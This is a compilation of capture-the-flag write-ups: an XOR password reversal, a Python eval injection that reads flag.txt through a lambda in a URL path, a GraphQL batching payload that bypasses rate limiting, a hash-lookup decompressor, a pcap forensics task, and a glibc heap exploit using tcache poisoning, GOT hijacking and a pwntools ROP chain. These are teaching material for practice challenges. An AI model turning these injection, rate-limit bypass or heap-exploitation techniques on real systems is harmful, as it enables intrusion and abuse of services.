{ int iVar1; size_t sVar2; size_t sVar3; char *__s2; long in_FS_OFFSET; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); sVar2 = strlen("aezx$K+`mcwL<+_3/0S^84B^V8}~8\\TXWmnmFP_@T^RTJ"); sVar3 = strlen("1245a0eP2475cr0Fpsg0grs02g0Mg4g02LOLg5gs2g0g7"); __s2 = (char *)FUN_001011e9("aezx$K+`mcwL<+_3/0S^84B^V8}~8\\TXWmnmFP_@T^RTJ", "1245a0eP2475cr0Fpsg0grs02g0Mg4g02LOLg5gs2g0g7",sVar2 & 0xffffffff, sVar3 & 0xffffffff); puts( "Hello! In order to access the shopping panel, please insert the password and do not cheat thi s time:" ); fgets(local_118,0xff,stdin); sVar2 = strlen(local_118); local_118[(int)sVar2 + -1] = '\0'; iVar1 = strcmp(local_118,__s2); if (iVar1 == 0) { puts("Welcome, you now have access to the shopping panel."); } else { puts("Please excuse us, only authorized persons can access this panel."); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}```
This looks like the `main()` function.
**In here, there are 2 interesting strings:**```aezx$K+`mcwL<+_3/0S^84B^V8}~8\\TXWmnmFP_@T^RTJ1245a0eP2475cr0Fpsg0grs02g0Mg4g02LOLg5gs2g0g7```
**Those 2 strings and it's length are being parsed to function `FUN_001011e9()`:**```cvoid * FUN_001011e9(long param_1,long param_2,int param_3,int param_4)
{ void *pvVar1; int local_14; pvVar1 = malloc((long)param_3); for (local_14 = 0; local_14 < param_3; local_14 = local_14 + 1) { *(byte *)((long)pvVar1 + (long)local_14) = *(byte *)(param_1 + local_14) ^ *(byte *)(param_2 + local_14 % param_4); } return pvVar1;}```
This function will XOR those 2 strings.
That being said, **we can find the correct password by XOR'ing those 2 strings!!**
To do so, we can write a Python script.
**However, instead of converting function `FUN_001011e9()` by hand, we can use LLM to help us, like ChatGPT!**

**Then after few modification, it XOR'ed the correct password!**```py#!/usr/bin/env python3
def FUN_001011e9(param_1, param_2, param_3, param_4): pvVar1 = bytearray(param_3) for local_14 in range(param_3): pvVar1[local_14] = ord(param_1[local_14]) ^ ord(param_2[local_14 % param_4]) return bytes(pvVar1).decode()
if __name__ == '__main__': string1 = '''aezx$K+`mcwL<+_3/0S^84B^V8}~8\\TXWmnmFP_@T^RTJ''' string2 = '''1245a0eP2475cr0Fpsg0grs02g0Mg4g02LOLg5gs2g0g7''' string1Length = len(string1) string2Length = len(string2)
print(FUN_001011e9(string1, string2, string1Length, string2Length))```
```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Reverse/Xoxor)-[2023.05.06|14:26:56(HKT)]└> python3 solve.pyPWNME{N0_W@y_You_C4n_F1nd_M3_h3he!!!!e83f9b3}```
- **Flag: `PWNME{N0_W@y_You_C4n_F1nd_M3_h3he!!!!e83f9b3}`**
## Conclusion
What we've learned:
1. Reversing XOR'ed Strings |
Copied from original writeup at [https://www.pmnh.site/post/ctf-deadsec-2023-trailblazer/](https://www.pmnh.site/post/ctf-deadsec-2023-trailblazer/)
## Summary
One of the things that I love about CTFs is when they provide challenges that don't require knowledge of weird language quirks or obscure exploits or (ugh) guesswork but instead just a clear head and some common sense. Kudos to the designer of the [DeadSec 2023 CTF](https://www.deadsec.xyz/) Trailblazer challenge, which offered exactly this type of problem.
## Recon
The Trailblazer challenge provided exactly one page to the site and no source code was provided. Visiting the home page of the site provided the following text content:
```[0-9 a-z A-Z / " \+ , ( ) . # \[ \] =]```
Visiting any other page of the site would result in the following `404` page:

Interesting to note that the image appearing on the page is generated from the endpoint `/images/now` and appears to contain a timestamp.
One other observation is that the server is running the (Python) [waitress framework](https://github.com/Pylons/waitress), which we can see from the server headers:
```Server: waitress```
Now that we have a sense for the server and related software, let's solve this challenge!
## Analysis
The endpoint `now`, combined with the contents of the generated image, should be familiar to anyone who is at all familiar with the Python language, as being the default format of a `datetime` object, and the Python library function [`datetime.now`](https://docs.python.org/3/library/datetime.html#datetime.datetime.now) can be used to return the current timestamp:
```Python 3.8.10 (default, Mar 13 2023, 10:26:41)[GCC 9.4.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> import datetime>>> str(datetime.datetime.now())'2023-05-21 12:26:57.831648'```
We note that this matches what we see in the generated image. This allows us to conclude that the solution path here is a sort of RCE which will lead to us changing the contents of the image. We can easily verify this by picking some other class-level functions in the `datetime` class such as `utcnow` or `today`, which will generate the same image.
## Leading to a Solution
So at this point we know:
* The image is being generated by Python code probably `eval`'ed from a string like this: `datetime.**last-path-segment**()` * Certain characters are not allowed in the path segment (we assume this from the list of characters shown on the home page) * Our goal is to read the content of `flag.txt` (this was later provided as a hint although I solved the challenge prior to this hint being available)
Let's see if we can chain a simple method call first, since the injection point ends with parens we know that the last part of our injection has to be a function that takes no parameters. So the following works:
```/images/now().toordinal```
This results in an image with the following content `738861`. So we've confirmed we can chain function calls as we had hoped, and the contents of the image will reflect the return value of the last function call (`toordinal` is a function on a `datetime` object as documented [here](https://docs.python.org/3/library/datetime.html#datetime.datetime.toordinal)).
If you don't want further spoilers, you can safely stop here and try to build the exploit chain yourself :grin:
## Reading a File
Finally, I had to come up with a way to read the content of the flag file and ensure the contents of the file fed into the method chain, since we can't inject carriage returns and other control structures due to the character set limitations. Also, we can't use a typical `__globals__` type injection because the `_` character is prohibited.
The path I took was to inject a Python [lambda function](https://www.w3schools.com/python/python_lambda.asp), which allows for arbitrary / simple inline code to be used to process typically an iterator such as an array or string. Typically these are used to perform some sort of processing on the input i.e. a transformation, but in this case we're just using it as a vehicle to inject arbitrary code.
Lambda functions can be used in many Python library functions, but [`map`](https://docs.python.org/3/library/functions.html#map) seemed like a logcal choice. Since `map` requires an iterable parameter, and we are starting from a `datetime` object, I decided to figure out how to get a `string` from the `datetime` and then pass the `string` to the `map` function. I built up the payload like so:
```/images/now().strftime(%22aaa%22).title --> AAA```
Remember we still have to end the injection with a parameterless function invocation, there are many on `string`. `strftime` on the `datetime` class was useful because it allows us to provide any arbitrary `string` as output. We pass this lambda result to `strftime` to get the string value added into the method chain. We iterate on a dummy array `[1]` so that the lambda function is executed exactly once:
```/images/now().strftime(str(map(lambda a: a, [1]))).title --> '<Map Object At 0X7Fd1789Fd9A0>'```
Oops! From this we can see our basic premise works, but we need to convert the `map` object (with a single element) to a printable string so we can see the result in the image output, we do this by wrapping it with the `str(list(...))` built-in functions:
```/images/now().strftime(str(list(map(lambda a: a, [1])))).title --> '[1]````
Now we simply put an `open('flag.txt').read(100)` in the lambda and we should have our flag:
```/images/now().strftime(str(list(map(lambda a: open("flag.txt").read(100), [1])))).title```
And we see the flag is (partially) revealed!

Further work was required to see the whole flag, this was made a little more painful because the font used in the image did not clearly indicate uppercase and lowercase letters. We'll leave this as an exercise to the reader, try reproducing this in your local Python CLI and see how you might iterate through the characters :smile:
Overall a super fun challenge that required no brute force or guesswork but just putting the pieces together. Thanks DeadSec! |
# Best Schools
## Background
An anonymous company has decided to publish a ranking of the best schools, and it is based on the number of clicks on a button! Make sure you get the 'Flag CyberSecurity School' in first place and you'll get your reward! > Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/) Format : **Hero{flag}** Author : **Worty**

## Enumeration
**Home page:**

In here, we can add 1 to the number of clicks in each school, and get the flag.
**We can try to click the "Get The Flag!" button:**

When we clicked that, it returns "'Flag CyberSecurity School' is not the best, no flag for you".
With that said, **our goal should be getting more than 1337 number of clicks in "Flag CyberSecurity School".**
Now, if we proxy through our requests, we can see the following **GraphQL queries**:

**View source page:**```html[...] <div class="col text-center"> Welcome on the school ranking app ! It's very simple, just click on "i'm at this school" and the ranking will be updated ! <div id="ranking"></div> <input type="button" class="btn btn-primary" onclick="getFlag()" value="Get The Flag !"></input> </div>[...] <script> [...] function getFlag() { fetch("/flag", { method: "GET", headers:{ "Content-Type": "application/json", "Accept": "application/json" } }).then(r => r.json()) .then( function(data) { alert(data.data) } ) } [...] </script>```
Welcome on the school ranking app !
It's very simple, just click on "i'm at this school" and the ranking will be updated !
When we click the "Get The Flag!" button, it'll send a GET request to `/flag`, and it'll response us with some data, which is the output of checking the highest number of clicks?
**Then, when the window is loaded:**```html <script> var schoolNames = ["Cyber Super School","University Of Cybersecurity","Flag CyberSecurity School","The Best Best CyberSecurity School"] function updateHtml(res_graphql) { $("#ranking").empty(); var best_school = res_graphql[0].data.getNbClickSchool.schoolName; var maxNbClick = res_graphql[0].data.getNbClickSchool.nbClick var html_append = ` <table class="table"> <thead class="thead-dark"> <tr> <th scope="col">#</th> <th scope="col">School Name</th> <th scope="col">Number of clicks</th> <th scope="col">Action</th> </tr> </thead> <tbody> `; for(var i=0; i<res_graphql.length; i++) { if(maxNbClick < res_graphql[i].data.getNbClickSchool.nbClick) { best_school = res_graphql[i].data.getNbClickSchool.schoolName; maxNbClick = res_graphql[i].data.getNbClickSchool.nbClick; } html_append+=`<tr><th scope="row">${res_graphql[i].data.getNbClickSchool.schoolId}</th><td>${res_graphql[i].data.getNbClickSchool.schoolName}</td><td id="click${res_graphql[i].data.getNbClickSchool.schoolId}">${res_graphql[i].data.getNbClickSchool.nbClick}</td><td><input type="button" onclick="updateNbClick('${res_graphql[i].data.getNbClickSchool.schoolName}')" class="btn btn-warning" value="I'm at this school"></input></td>`; } html_append+="</tbody></table>"; html_append+=`The best school for cybersecurity is : ${best_school} with ${maxNbClick} clicks ! Congratulations !` $("#ranking").append(html_append) } [...] $(document).ready(async function(){ var res_graphql = []; for(var i=0; i<schoolNames.length; i++) { var res = await fetch("/graphql", { method: "POST", headers:{ "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({query: `{getNbClickSchool(schoolName: "${schoolNames[i]}" ){schoolId, schoolName, nbClick}}`}) }) .then(r => r.json()) .then( function(data) { res_graphql.push(data) } ) } updateHtml(res_graphql) }); </script>```
The best school for cybersecurity is : ${best_school} with ${maxNbClick} clicks ! Congratulations !
It'll loop through all the `schoolNames` and get the number of clicks via GraphQL `getNbClickSchool` query, then update the HTML content.
**Next, when we clicked "I'm at this school" button, it'll run the following JavaScript function:**```jsfunction updateNbClick(schoolName){ var updated_school = []; fetch("/graphql", { method: "POST", headers:{ "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({query: `mutation { increaseClickSchool(schoolName: "${schoolName}"){schoolId, nbClick} }`}) }).then(r => r.json()) .then( function(data) { if(data.error != undefined) { alert(data.error) } document.getElementById(`click${data.data.increaseClickSchool.schoolId}`).innerHTML = data.data.increaseClickSchool.nbClick } )}```
This will send a POST request to `/graphql` endpoint and **using the `increaseClickSchool` mutation query to update the number of clicks.**
Now, we can we do to update the number of clicks in "Flag CyberSecurity School" more than 1337??
Since **mutation query** is used to make changes in the server-side, we could pay extra attention on the `increaseClickSchool` mutation query.
**When we send the query too fast, it'll returns the following response:**


## Exploitation
That being said, it has implemented rate limiting.
Hmm that's weird!!
**Can we bypass that??**
Yes we can, and it's an attack in GraphQL: ***GraphQL Batching Attack***
**In [Paulo A. Silva](https://checkmarx.com/blog/didnt-notice-your-rate-limiting-graphql-batching-attack/) blog, we could send multiple queries:**

**Let's try that!**


Oh!! it works!!
**Now, let's copy those mutation query more than 1337 times, and we should able to get the flag!**
**Generating payload Python script:**```py#!/usr/bin/env python3
if __name__ == '__main__': batchingPayload = '''{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"},''' lastBatchingPayload = '''{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"}''' print(f'[{batchingPayload * 499}{lastBatchingPayload}]')```


We're very close!

Nice! Let's get the flag!

- **Flag: `Hero{gr4phql_b4tch1ng_t0_byp4ss_r4t3_l1m1t_!!}`**
## Conclusion
What we've learned:
1. Exploiting GraphQL Batching Attack |
# Compress - Misc
## Challenge
```python=from io import BufferedReader, BufferedWriterfrom hashlib import sha256import sys, os
BLOCK_LEN = 16 # in characters, consists of $BLOCK_LEN / $CHUNK_LEN chunksCHUNK_LEN = 4 # in characters, $CHUNK_LEN chars in each chunk
def chunk(data:bytes): return [data[CHUNK_LEN*i:CHUNK_LEN*(i+1)] for i in range(BLOCK_LEN//CHUNK_LEN)]
def compress_chunks(chunks: list[bytes]) -> bytes: output = b"" cur = sha256() for chunk in chunks: output += sha256(chunk).digest()[:3] cur.update(chunk) output += cur.digest()[:3] return output
def compress(fdr: BufferedReader, fdw: BufferedWriter) -> None: assert (os.fstat(fdr.fileno()).st_size) % BLOCK_LEN == 0, f"Input length must be a multiple of {BLOCK_LEN}" while (data := fdr.read(BLOCK_LEN)): fdw.write(compress_chunks(chunk(data)))
if __name__ == "__main__": sys.argv.append("compress") sys.argv.append("D:/CTF/deadsec/2023/compress/test")
if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} [compress|extract] inputfile") exit(-1) if sys.argv[1] == "compress": with open(sys.argv[2], "rb") as fdr, open(sys.argv[2]+".z1p", "wb") as fdw: compress(fdr, fdw)
elif sys.argv[1] == "extract": print("Not implemented")
else: print("Unknown operation")```
## Solution
The algorithm compresses blocks of 16 bytes (16 characters) into blocks of 15 bytes. Each source block consists of 4 chunks, each of them is 4 bytes long. The output, however, consists of 5 chunks, each 3 bytes long. The first four chunks contain the compressed data, while the final chunks serves as somewhat of a checksum. The compressed chunks are generated by taking the first 3 bytes of SHA256 hashes of source chunks, while the checksum is generated by hashing the entire source block.
We can reverse the compression by creating a lookup table of possible sources for each block (using only printable ASCII characters, we are guaranteed some colisions when using only the first 3 bytes of the hash). Once a lookup table is prepared, we can just simply check compressed chunks in groups of 5. We use the first four to generate all possible permutations of source substitutions, while the fifth one serves as a checker to see whether the permutation is correct by just hashing the entire permutation and comparing the first 3 bytes with the final block.
### Code
```python=from io import BufferedReader, BufferedWriterfrom hashlib import sha256import osimport stringimport itertools
BLOCK_LEN = 15 # in characters, consists of $BLOCK_LEN / $CHUNK_LEN chunksCHUNK_LEN = 3 # in characters, $CHUNK_LEN chars in each chunk
def chunk(data:bytes): return [data[CHUNK_LEN*i:CHUNK_LEN*(i+1)] for i in range(BLOCK_LEN//CHUNK_LEN)]
def decompress_chunks(chunks: list[bytes]) -> bytes: global subs output = [] res = "????" for chunk in chunks[:-1]: try: output.append(subs[chunk.hex()]) except KeyError: pass
for attempt in itertools.product(*output): att = "".join(attempt) if sha256(att.encode()).digest()[:3] == chunks[-1]: res = att break
print(res) return res.encode()
def decompress(fdr: BufferedReader, fdw: BufferedWriter) -> None: assert (os.fstat(fdr.fileno()).st_size) % BLOCK_LEN == 0, f"Input length must be a multiple of {BLOCK_LEN}" while (data := fdr.read(BLOCK_LEN)): fdw.write(decompress_chunks(chunk(data)))
total = list(string.printable)subs = dict()
for att in itertools.product(total, total, total, total): att = "".join(att) hsh = sha256(att.encode()).digest()[:3].hex() try: subs[hsh].append(att) except KeyError: subs[hsh] = [] subs[hsh].append(att)
with open("data.z1p", "rb") as fdr, open("data.sol", "wb+") as fdw: decompress(fdr, fdw)
with open("data.sol", "rb") as f: print(f"Dead{{{sha256(f.read()).hexdigest().lower()}}}")```
### Decompressed file
```=Congratulations, it seems like you have managed to write a decompressor for this file format!
Here is the "official" writeup:
from itertools import productfrom hashlib import sha256 as Hfrom string import printablefrom collections import defaultdictfrom tqdm import tqdm
lookup = defaultdict(set)
for chunk in tqdm(product(printable[:-2], repeat=4), total=len(printable[:-2])**4): tmp = ''.join(chunk).encode() h = H(tmp).digest()[:3] lookup[h].add(tmp)
with open("data.z1p", "rb") as fd: while True: h1,h2,h3,h4,hh = (fd.read(3) for _ in range(5)) if h1 == b'': break for g1,g2,g3,g4 in product(lookup[h1], lookup[h2], lookup[h3], lookup[h4]): if H(g1+g2+g3+g4).digest()[:3] == hh: print((g1+g2+g3+g4).decode(), end="")
The flag is the sha256 hash of this entire file, as lower case, and wrapped in the flag format.```
### Flag
```=Dead{7eeee4060c39b7e5936cd652edc040126849bb3b03714df6fda711875c11e994}``` |
# kNOCk kNOCk
## Find the flag
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/PwnMe-2023-8-bits/Forensics/kNOCk-kNOCk/Intro.pcapng):**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Forensics/kNOCk-kNOCk)-[2023.05.06|13:46:34(HKT)]└> file Intro.pcapng Intro.pcapng: pcapng capture file - version 1.0```
**It's a pcap (Packet capture) file! Let's open it via WireShark:**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Forensics/kNOCk-kNOCk)-[2023.05.06|13:46:40(HKT)]└> wireshark Intro.pcapng```

We can see that there are 15144 packets.
**In "Statistics" -> "Protocol Hierarchy", we can see different protocols has been captured in this pcap file:**


In TCP protocol, there are 6 HTTP packets, and the "Media Type" is interesting to us.
**We can export that object:**


```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Forensics/kNOCk-kNOCk)-[2023.05.06|13:52:11(HKT)]└> file MalPack.deb MalPack.deb: Debian binary package (format 2.0), with control.tar.xz, data compression xz```
As you can see, the `MalPack.deb` is a Debian package.
Hmm... That looks very, very sussy!
**Let's view it's contents without extracting it:**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Forensics/kNOCk-kNOCk)-[2023.05.06|13:57:06(HKT)]└> dpkg -c MalPack.deb drwxrwxr-x remnux/remnux 0 2023-04-13 18:50 ./drwxrwxr-x remnux/remnux 0 2023-04-13 18:50 ./usr/drwxrwxr-x remnux/remnux 0 2023-04-13 18:50 ./usr/local/drwxrwxr-x remnux/remnux 0 2023-04-13 21:16 ./usr/local/bin/-rwxrwxr-x remnux/remnux 46 2023-04-13 21:16 ./usr/local/bin/simplescript.sh```
**`simplescript.sh`... Let's take a look at that script by extracting the package!**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Forensics/kNOCk-kNOCk)-[2023.05.06|14:00:02(HKT)]└> dpkg-deb -xv MalPack.deb .././usr/./usr/local/./usr/local/bin/./usr/local/bin/simplescript.sh┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Forensics/kNOCk-kNOCk)-[2023.05.06|14:00:24(HKT)]└> cat usr/local/bin/simplescript.sh #!/bin/bash
echo "PWNME{P4ck4g3_1s_g00d_ID}"```
Bam! We got the flag!
- **Flag: `PWNME{P4ck4g3_1s_g00d_ID}`**
## Conclusion
What we've learned:
1. Exporting HTTP Object & Inspecting Debian Package |
# Write me a book
> Write me a Book>349>>Give back to the library! Share your thoughts and experiences!>>The flag can be found in /flag>> Elma>>nc 34.124.157.94 12346
Write me a book is a heap challenge I did during the [Grey Cat The Flag 2023 Qualifiers](https://nusgreyhats.org/). You can find the tasks and the exploit [here](https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook).
## TL;DR
To manage to read the flag we have to:- create overlapping chunks due to an oob write vulnerability in `rewrite_books`- tcache poisoning thanks to the overlapping chunks- Overwrite the first entry of `@books` to then be able to rewrite 4 entries of `@books` by setting a large size.- With the read / write primitives of `@books` we leak `&stdout@glibc` and `environ`, this way getting a libc and stack leak.- This way we can simply ROP over a given stackframe.
## General overview
Let's take a look at the protections and the version of the libc:```$ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.Copyright (C) 2022 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 11.2.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$ checksec --file ./libc.so.6 [*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
So a very recent one with standards protections. Then let's take a look at the binary:```$ checksec --file chall[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'$ seccomp-tools dump ./challWelcome to the library of hopes and dreams!
We heard about your journey...and we want you to share about your experiences!
What would you like your author signature to be?> aa
Great! We would like you to write no more than 10 books :)Please feel at home. line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010 0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL```
The binary isn't PIE based and does have a seccomp that allows only `read`, `write`, `open` and `exit`. Which will make the exploitation harder (but not that much).
## Code review
The `main` looks like this:```cint __cdecl main(int argc, const char **argv, const char **envp){ setup(argc, argv, envp); puts("Welcome to the library of hopes and dreams!"); puts("\nWe heard about your journey..."); puts("and we want you to share about your experiences!"); puts("\nWhat would you like your author signature to be?"); printf("> "); LODWORD(author_signature) = ' yb'; __isoc99_scanf("%12s", (char *)&author_signature + 3); puts("\nGreat! We would like you to write no more than 10 books :)"); puts("Please feel at home."); secure_library(); write_books(); return puts("Goodbye!");}```We have to give a signature (12 bytes max) sorted in `author_signatures`, then the program is allocating a lot of chunks in `secure_library`. Finally it calls `write_books` which contains the main logic:```cunsigned __int64 write_books(){ int choice; // [rsp+0h] [rbp-10h] BYREF int fav_num; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u); while ( 1 ) { while ( 1 ) { print_menu(); __isoc99_scanf("%d", &choice); getchar(); if ( choice != 1337 ) break; if ( !secret_msg ) { printf("What is your favourite number? "); __isoc99_scanf("%d", &fav_num); if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] ) printf("You found a secret message: %p\n", slot[2 * fav_num - 2]); secret_msg = 1; }LABEL_19: puts("Invalid choice."); } if ( choice > 1337 ) goto LABEL_19; if ( choice == 4 ) return v3 - __readfsqword(0x28u); if ( choice > 4 ) goto LABEL_19; switch ( choice ) { case 3: throw_book(); break; case 1: write_book(); break; case 2: rewrite_book(); break; default: goto LABEL_19; } }}```
There are basically three handlers:- `1337`, we can leak only one time the address of a given allocated chunk.- `4` returns.- `3` free a chunk.- `1` add a book.- `2` edit a book.
Let's take a quick look at each handler, first the free handler:```cunsigned __int64 throw_book(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to throw your book?"); printf("Index: "); __isoc99_scanf("%d", &v1;; getchar(); if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] ) { free(slot[2 * --v1]); slot[2 * v1] = 0LL; puts("Your book has been thrown!\n"); } else { puts("Invaid slot!"); } return v2 - __readfsqword(0x28u);}```It only checks is the entry exists and if the index is in the right range. if it does it frees the entry and zeroes it.
Then, the add handler:```cunsigned __int64 write_book(){ int idx2; // ebx _QWORD *v1; // rcx __int64 v2; // rdx int idx; // [rsp+4h] [rbp-4Ch] BYREF size_t size; // [rsp+8h] [rbp-48h] char buf[32]; // [rsp+10h] [rbp-40h] BYREF char v7; // [rsp+30h] [rbp-20h] unsigned __int64 v8; // [rsp+38h] [rbp-18h]
v8 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to insert your book?"); printf("Index: "); __isoc99_scanf("%d", &idx); getchar(); if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] ) { puts("Invaid slot!"); } else { --idx; memset(buf, 0, sizeof(buf)); v7 = 0; puts("Write me a book no more than 32 characters long!"); size = read(0, buf, 0x20uLL) + 0x10; idx2 = idx; slot[2 * idx2] = malloc(size); memcpy(slot[2 * idx], buf, size - 0x10); v1 = (char *)slot[2 * idx] + size - 0x10; v2 = qword_4040D8; *v1 = *(_QWORD *)author_signature; v1[1] = v2; books[idx].size = size; puts("Your book has been published!\n"); } return v8 - __readfsqword(0x28u);}```We can allocate a chunk between `0x10` and `0x20 + 0x10` bytes and after we wrote in it the signature initially choose at the begin of the execution is put right after the end of the input.
Finally comes the handler where lies the vuln, the edit handler:```cunsigned __int64 rewrite_book(){ _QWORD *v0; // rcx __int64 v1; // rdx int idx; // [rsp+Ch] [rbp-14h] BYREF ssize_t v4; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to rewrite your book?"); printf("Index: "); __isoc99_scanf("%d", &idx); getchar(); if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] ) { --idx; puts("Write me the new contents of your book that is no longer than what it was before."); v4 = read(0, slot[2 * idx], books[idx].size); v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4); v1 = qword_4040D8; *v0 = author_signature; v0[1] = v1; puts("Your book has been rewritten!\n"); } else { puts("Invaid slot!"); } return v5 - __readfsqword(0x28u);}```As you can read there is an out of bound write if we input `books[idx].size` bytes, indeed given the chunk stores only `books[idx].size` bytes the signature writes over the current chunk. And most of the time on the header (and especially the size) of the next chunk allocated in memory resulting an overlapping chunk.
## Exploitation
Given we can get overlapping chunks we're able to do tcache poisoning on the `0x40` tcachebin (to deeply understand why I advice you to read the exploit and to run it into gdb). At this point we can simply write the first entry of `@books` that is stored at a fixed memory area within the binary (no PIE). In this new entry we could write a pointer to itself but with a large size in order to be able to write several entries of `@books`. When it is done we could write these entries:```py edit(1, pwn.flat([ # 1== 0xff, # sz exe.sym.stdout, # to leak libc # 2== 0x8, # sz exe.got.free, # to do GOT hiijacking # 3== 0x8, # sz exe.sym.secret_msg, # to be able to print an entry of @books # 4== 0xff, # sz exe.sym.books # ptr to itself to be able to rewrite the entries when we need to do so ] + [0] * 0x60, filler = b"\x00"))```
This way we can easily leak libc.
## Leaking libc
Leaking libc is very easy given we already setup the entries of `@books`. We can replace `free@GOT` by `puts@plt`. This way the next time free will be called on an entry, it will leak the datas towards which the entry points. Which means `free(book[1])` leaks the address of stdout within the libc.```pySTDOUT = 0x21a780
# [...]
def libc_leak_free(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT
# [...]
# libc leaklibc.address = libc_leak_free(1)pwn.log.success(f"libc: {hex(libc.address)}")```
## Leaking the stack
Leaking the libc is cool but given the binary has a seccomp we cannot write one_gadgets on `__malloc_hook` or `__free_hook` or within the GOT (of the libc or of the binary) because of the seccomp. We have to do a ROPchain, to do so we could use `setcontext` but for this libc it is made around `rdx` that we do not control. Or we could simply leak `environ` to get the address of a stackframe from which we could return. That's what we gonna do on the `rewrite_books` stackframe.```pydef leak_environ(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))
# leak stack (environ)edit(4, pwn.flat([ # 1== 0xff, # sz libc.sym.environ # target ], filler = b"\x00"))
environ = leak_environ(1)pwn.log.success(f"environ: {hex(environ)}")
stackframe_rewrite = environ - 0x150pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")```
## ROPchain
Everything is ready for the ROPchain, we cannot use mprotect to use a shellcode within the seccomp forbids it. We just have to set the first entry to the stackframe we'd like to hiijack and that's it, then we just need call edit on this entry and the ROPchain is written and triggered at the return of the function!```pyrop = pwn.ROP(libc, base=stackframe_rewrite)
# setup the write to the rewrite stackframeedit(4, pwn.flat([ # 1== 0xff, # sz stackframe_rewrite # target ], filler = b"\x00"))
# ROPchainrop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # openrop.call(rop.find_gadget(["syscall", "ret"]))rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # writerop.call(rop.find_gadget(["syscall", "ret"]))rop.exit(0x1337)rop.raw(b"/flag\x00")
print(rop.dump())print(hex(len(rop.chain()) - 8))
# write and trigger the ROPchainedit(1, rop.chain())```
## PROFIT
